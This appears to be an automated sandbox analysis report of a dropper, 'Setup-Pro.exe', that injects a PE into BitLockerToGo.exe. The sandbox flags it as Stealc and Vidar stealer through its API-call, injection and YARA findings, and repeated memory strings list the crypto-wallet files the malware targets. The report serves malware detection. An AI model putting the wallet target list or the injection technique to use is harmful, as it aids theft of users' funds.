Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	API call chain: ExitProcess graph end node	graph_2-57006
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	API call chain: ExitProcess graph end node	graph_2-57206

Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe

Code function: 2_2_0301B33A IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,

2_2_0301B33A

Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe

Code function: 2_2_030045C0 VirtualProtect ?,00000004,00000100,00000000

2_2_030045C0

Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe

2_2_03019C10

Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe

Code function: 2_2_03019750 mov eax, dword ptr fs:[00000030h]

2_2_03019750

Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe

Code function: 2_2_03007710 GetProcessHeap,RtlAllocateHeap,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrlen,lstrlen,

2_2_03007710

Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 2_2_0301B33A IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	2_2_0301B33A
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 2_2_0301CEEA SetUnhandledExceptionFilter,	2_2_0301CEEA
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 2_2_0301AD48 memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	2_2_0301AD48
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 2_2_6CCAB66C SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	2_2_6CCAB66C
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 2_2_6CCAB1F7 IsProcessorFeaturePresent,memset,memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	2_2_6CCAB1F7

Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe

Memory protected: page guard

Jump to behavior

HIPS / PFW / Operating System Protection Evasion

Yara detected Powershell download and execute

Source: Yara match	File source: Process Memory Space: Setup-Pro.exe PID: 7596, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: BitLockerToGo.exe PID: 7772, type: MEMORYSTR

Allocates memory in foreign processes

Source: C:\Users\user\Desktop\Setup-Pro.exe

Memory allocated: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe base: 3000000 protect: page execute and read and write

Jump to behavior

Injects a PE file into a foreign processes

Source: C:\Users\user\Desktop\Setup-Pro.exe

Memory written: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe base: 3000000 value starts with: 4D5A

Jump to behavior

Searches for specific processes (likely to inject)

Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe

Code function: 2_2_03019600 CreateToolhelp32Snapshot,Process32First,Process32Next,StrCmpCA,CloseHandle,

2_2_03019600

Writes to foreign memory regions

Source: C:\Users\user\Desktop\Setup-Pro.exe	Memory written: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe base: 2FB9008	Jump to behavior
Source: C:\Users\user\Desktop\Setup-Pro.exe	Memory written: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe base: 3000000	Jump to behavior
Source: C:\Users\user\Desktop\Setup-Pro.exe	Memory written: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe base: 3001000	Jump to behavior
Source: C:\Users\user\Desktop\Setup-Pro.exe	Memory written: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe base: 301E000	Jump to behavior
Source: C:\Users\user\Desktop\Setup-Pro.exe	Memory written: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe base: 302B000	Jump to behavior
Source: C:\Users\user\Desktop\Setup-Pro.exe	Memory written: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe base: 325C000	Jump to behavior

Source: C:\Users\user\Desktop\Setup-Pro.exe

Process created: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe "C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe"

Jump to behavior

Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe

Code function: 2_2_6CCAB341 cpuid

2_2_6CCAB341

Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe

Code function: GetKeyboardLayoutList,LocalAlloc,GetKeyboardLayoutList,GetLocaleInfoA,LocalFree,

2_2_03017B90

Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0			Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0			Jump to behavior

Source: C:\Users\user\Desktop\Setup-Pro.exe	Queries volume information: C:\Users\user\Desktop\Setup-Pro.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Setup-Pro.exe	Queries volume information: C:\Windows VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Setup-Pro.exe	Queries volume information: C:\Windows\AppReadiness VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Setup-Pro.exe	Queries volume information: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Setup-Pro.exe	Queries volume information: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe VolumeInformation	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior

Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe

Code function: 2_2_03018B60 GetSystemTime,

2_2_03018B60

Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe

Code function: 2_2_03017850 GetProcessHeap,RtlAllocateHeap,GetUserNameA,

2_2_03017850

Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe

Code function: 2_2_03017A30 GetProcessHeap,RtlAllocateHeap,GetTimeZoneInformation,wsprintfA,

2_2_03017A30

Stealing of Sensitive Information

Yara detected Stealc

Source: Yara match	File source: 2.2.BitLockerToGo.exe.3000000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.3.Setup-Pro.exe.2ab8000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.Setup-Pro.exe.27aa000.3.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.Setup-Pro.exe.27aa000.3.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.Setup-Pro.exe.27f8000.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.Setup-Pro.exe.27f8000.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.Setup-Pro.exe.2ab8000.8.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.Setup-Pro.exe.2ab8000.8.unpack, type: UNPACKEDPE
Source: Yara match	File source: 2.2.BitLockerToGo.exe.3000000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.3.Setup-Pro.exe.2ab8000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000002.00000002.1836179324.0000000003000000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000002.1837091006.0000000003547000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.1585102260.0000000002600000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.1507758122.00000000029D4000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.1585102260.00000000027F6000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.1585102260.00000000027A8000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.1586077537.00000000029D4000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: BitLockerToGo.exe PID: 7772, type: MEMORYSTR
Source: Yara match	File source: dump.pcap, type: PCAP

Yara detected Vidar stealer

Source: Yara match

File source: Process Memory Space: BitLockerToGo.exe PID: 7772, type: MEMORYSTR

Found many strings related to Crypto-Wallets (likely being stolen)

Source: BitLockerToGo.exe, 00000002.00000002.1836232555.000000000302B000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: ckstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: BitLockerToGo.exe, 00000002.00000002.1836232555.0000000003085000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: \ElectronCash\wallets\
Source: BitLockerToGo.exe, 00000002.00000002.1836232555.000000000302B000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: ckstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: BitLockerToGo.exe, 00000002.00000002.1837091006.00000000035A1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: \??\C:\Users\user\AppData\Roaming\Exodus\window-state.json*
Source: BitLockerToGo.exe, 00000002.00000002.1837091006.00000000035A1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: C:\Users\user\AppData\Roaming\\jaxx\Local Storage\\file__0.localstorage
Source: BitLockerToGo.exe, 00000002.00000002.1836232555.000000000302B000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: ckstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: BitLockerToGo.exe, 00000002.00000002.1837091006.00000000035A1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: \??\C:\Users\user\AppData\Roaming\Exodus\window-state.json*
Source: BitLockerToGo.exe, 00000002.00000002.1837091006.00000000035A1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: \??\C:\Users\user\AppData\Roaming\Exodus\exodus.wallet\info.seco
Source: BitLockerToGo.exe, 00000002.00000002.1836232555.000000000302B000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: ckstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: BitLockerToGo.exe, 00000002.00000002.1837091006.00000000035A1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: C:\Users\user\AppData\Roaming\\jaxx\Local Storage\\file__0.localstorage
Source: BitLockerToGo.exe, 00000002.00000002.1837091006.00000000035A1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: \??\C:\Users\user\AppData\Roaming\Exodus\exodus.wallet\passphrase.json
Source: BitLockerToGo.exe, 00000002.00000002.1836232555.000000000302B000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: ckstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: BitLockerToGo.exe, 00000002.00000002.1837091006.00000000035A1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: \??\C:\Users\user\AppData\Roaming\Exodus\window-state.json*
Source: BitLockerToGo.exe, 00000002.00000002.1837091006.00000000035A1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: C:\Users\user\AppData\Roaming\Binance\app-store.json
Source: BitLockerToGo.exe, 00000002.00000002.1837091006.00000000035A1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: C:\Users\user\AppData\Roaming\\jaxx\Local Storage\\file__0.localstorage
Source: BitLockerToGo.exe, 00000002.00000002.1836232555.000000000302B000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: ckstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: BitLockerToGo.exe, 00000002.00000002.1837091006.00000000035A1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: \??\C:\Users\user\AppData\Roaming\Coinomi\Coinomi\wallets\.
Source: BitLockerToGo.exe, 00000002.00000002.1837091006.00000000035A1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: C:\Users\user\AppData\Roaming\\MultiDoge\\multidoge.wallet
Source: BitLockerToGo.exe, 00000002.00000002.1837091006.00000000035A1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: C:\Users\user\AppData\Roaming\\Exodus\exodus.wallet\\seed.seco
Source: BitLockerToGo.exe, 00000002.00000002.1837091006.00000000035A1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: C:\Users\user\AppData\Roaming\\Exodus\exodus.wallet\\seed.seco
Source: BitLockerToGo.exe, 00000002.00000002.1836232555.000000000302B000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: ckstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: BitLockerToGo.exe, 00000002.00000002.1837091006.00000000035A1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: \??\C:\Users\user\AppData\Roaming\Ledger Live\Session Storage\.
